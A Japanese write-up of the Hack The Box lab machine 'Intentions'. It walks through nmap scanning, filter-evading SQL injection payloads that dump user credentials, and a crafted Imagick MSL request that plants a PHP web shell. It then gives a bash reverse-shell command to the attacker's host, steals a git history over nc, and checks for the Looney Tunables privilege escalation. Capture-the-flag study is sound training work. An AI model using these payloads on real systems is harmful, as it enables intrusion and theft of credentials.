目次
偵察/スキャン
nmapでスキャンします。
-p-でスキャンし、確認できたポートに詳細なスキャンを行います。
┌──(kali㉿kali)-[~/htb/intentions] └─$ sudo nmap -sC -sV -A -O -p22,80 10.10.11.220 Nmap scan report for 10.10.11.220
Host is up (0.20s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA) |_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (96%), Linux 4.15 - 5.8 (96%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linu
x 2.6.32 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 22/tcp) HOP RTT ADDRESS 1 213.43 ms 10.10.14.1 2 213.90 ms 10.10.11.220
TCP/80の調査
ブラウザでアクセスすると以下のようなページが表示されます。
「REGISTER」より新規のアカウントが作成でき、作成したアカウントでログインできます。
ログイン後の画面で、「Your Profile」の内容で「Your Feed」に表示される内容が変化することが確認できます。
「' or 1=1--」と入力して「Your Feed」にアクセスすると、画面上は何も表示されませんが、Burpで見るとServer Error(500)が確認できます。
500エラーについて
「Favorite Genres」ではスペースを含むインジェクションのクエリは成功しない為、スペースをコメントに置き換えて実行します。
以下のクエリを入力して実行するとSQLiが成功します。
')/**/or/**/1=1#
Burpでみるとレスポンスとして6つのカラムがあることがわかります。
UNIONを使用してデータベースの内容を調査します。
上記カラムの内、「URL」は「file」から生成できるため5個のカラムで実行します。
')/**/UNION/**/SELECT/**/1,2,3,4,5#
2番目および3番目のカラムがStringの為、2番目に「user()」、3番目に「database()」を指定して実行します。
- user(): データベース接続に使用されているユーザー名を取得
- database(): 現在のデータベース名を取得
')/**/UNION/**/SELECT/**/1,user(),database(),4,5#
上記よりデータベースに接続しているユーザ(laravel@localhost)および、データベース名(intentions)が取得できます。
')/**/UNION/**/SELECT/**/1,table_schema,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/!=/**/'information_schema'#
次にデータベースとテーブル情報を取得します。
')/**/UNION/**/SELECT/**/1,table_schema,table_name,4,5/**/from/**/information_schema.tables/**/where/**/table_schema/**/!=/**/'information_schema'#
データベース「intentions」内の4つのテーブルの内、usersについて調査を進めます。
')/**/UNION/**/SELECT/**/1,2,column_name,4,5/**/from/**/information_schema.columns/**/where/**/table_name='users'#
上記情報をもとに以下のクエリを入力することで、ユーザー情報が取得できます。
')/**/UNION/**/SELECT/**/1,2,concat(name,':',email,':',admin,':',password,':',genres),4,5/**/from/**/users#
上記で取得できたアカウントはGUIのログイン画面では使用できません。
ログイン時には/api/v1/auth/loginに認証情報をPOSTしています。
/js/admin.jsのコメントでは、認証時にアカウント情報が平文で送られないことが触れられています。
v2のコメント内容に沿ってリクエストを編集し、上記のアカウントでPOSTするとログインできます。
さらに/adminにアクセスすると管理者画面にアクセスできます。
アクセス取得
「image」では画像ファイルの編集ができます。
画像編集にはImagickが使用されていることがJavascriptのコメントより確認できます。
Imagickについて調べると以下のサイトが見つかります。
また、Boxでは「Effects」をクリックすると/api/v2/admin/image/modifyにPOSTが送信されます。
POSTをBurpで以下のように編集します。
POST /api/v2/admin/image/modify?path=vid:msl:/tmp/php*&effect=XXX HTTP/1.1 Host: 10.10.11.220 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: application/json, text/plain, */* Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=ABC X-XSRF-TOKEN: eyJpdiI6Ijk0a1daSGVncVVwVFdER1hFdFV1Nnc9PSIsInZhbHVlIjoiRXZFUCsybzhWb3pyRG5oRXNQb1NEeDVSQkdGRW5EZmxKWjM4S3BGZ0pXaVBwNXFaUkFKVlZ0aFdiaVNIYXduZ2wydC9GZFdZdEp6d2g2dCtZd2RHcDVTMnRDUkxMcnBCd0E2L0xKWU9uY0doOFgvWXVoZ2pOMEtmUmhVQk8yVXEiLCJtYWMiOiI3ZTIzN2UyYzE1ZTQzMTZlYjNlMjRiMWFhNDg2OTQ4MDcyMzMwMTk4ZjdlN2E0NmRkYWRiMGJkYTE0NGFmZGQ4IiwidGFnIjoiIn0= Content-Length: 401 Origin: http://10.10.11.220 Connection: close Referer: http://10.10.11.220/admin Cookie: XSRF-TOKEN=eyJpdiI6Ijk0a1daSGVncVVwVFdER1hFdFV1Nnc9PSIsInZhbHVlIjoiRXZFUCsybzhWb3pyRG5oRXNQb1NEeDVSQkdGRW5EZmxKWjM4S3BGZ0pXaVBwNXFaUkFKVlZ0aFdiaVNIYXduZ2wydC9GZFdZdEp6d2g2dCtZd2RHcDVTMnRDUkxMcnBCd0E2L0xKWU9uY0doOFgvWXVoZ2pOMEtmUmhVQk8yVXEiLCJtYWMiOiI3ZTIzN2UyYzE1ZTQzMTZlYjNlMjRiMWFhNDg2OTQ4MDcyMzMwMTk4ZjdlN2E0NmRkYWRiMGJkYTE0NGFmZGQ4IiwidGFnIjoiIn0%3D; intentions_session=eyJpdiI6InBucExiZk1WUjQvVjV0WUVlQncyc3c9PSIsInZhbHVlIjoiT29za1JoWnBZRzZLaDJRdjlrTVEvT3hsRGdYZmdBbmtjS0MyM043TGllR0dlUDVrclBGSzN3Vkc5MEpQWFM4MUxTajVrV3RaZUJ6K0k4VWZZRjFUS2drc2ZhNzhIdlY2bEV3eERIWXZRbC9DdlZwc2xiNmg3UGpDZHovMzlGRWEiLCJtYWMiOiJkMjM2NzQ3ZDhiZWUwMDU1OGJmZWFkNGNkOGRmNGI0YjQ2NjI3NzEwMGVmMjliMjg1NTMxOTM4Yzc4OGRiNmIwIiwidGFnIjoiIn0%3D; token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vMTAuMTAuMTEuMjIwL2FwaS92Mi9hdXRoL2xvZ2luIiwiaWF0IjoxNzM0MjY3ODc2LCJleHAiOjE3MzQyODk0NzYsIm5iZiI6MTczNDI2Nzg3NiwianRpIjoidVlKR0FiQWhJb05GaEtUWCIsInN1YiI6IjEiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3In0.fBzPR4bZc0c20dE1Thadq6WOT83OryGEYy_pHzguBF4 Priority: u=0 --ABC Content-Disposition: form-data; name="shell";filename="shell.msl" Content-Type:text/plain <!--?xml version="1.0" encoding="UTF-8"?--> <read filename="caption:<?php system($_GET['cmd']); ?>"> <write filename="info:/var/www/html/intentions/storage/app/public/test.php"> </write> --ABC--
上記のリクエストは502のエラーとなれば成功です。リクエストに誤りがある場合は422のエラーとなります。
リクエストの送信後、ファイルにアクセスします。
curl http://10.10.11.220/storage/test.php -d 'cmd=bash -c "bash -i >%26 /dev/tcp/10.10.14.3/4444 0>%261"'
「www-data」でシェルが取得できます。
www-dataではuser.txtを取得できないので横展開を行います。
/var/www/html/intentionsに「.git」があることが確認できます。上記をローカルに移動します。
tar形式にしてnc経由で移動します。
ローカル移動後にtarを展開し、Commitの変更履歴を確認します。
履歴より、ハードコードされた認証情報が確認できます。
git diff d7ef022 36b4287
上記で確認できた「greg」でSSHアクセスしユーザフラグが取得できます。
権限昇格
このBoxには「Looney Tunables」の脆弱性があります。
脆弱性があるかは以下のコマンドで確認できます。
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
上記の脆弱性に対しては以下のPoCが公開されております。
https://haxx.in/files/gnu-acme.py
上記のPoCをBoxに移動し実行するとrootが取得できます。
今回、初めて「Hard」のBoxをやりましたが、いくつかのWriteUPを拝見しましたが、内容を理解できていない部分も多く残りました。
参考にさせていただいたサイト
貴重な情報をありがとうございます。
その他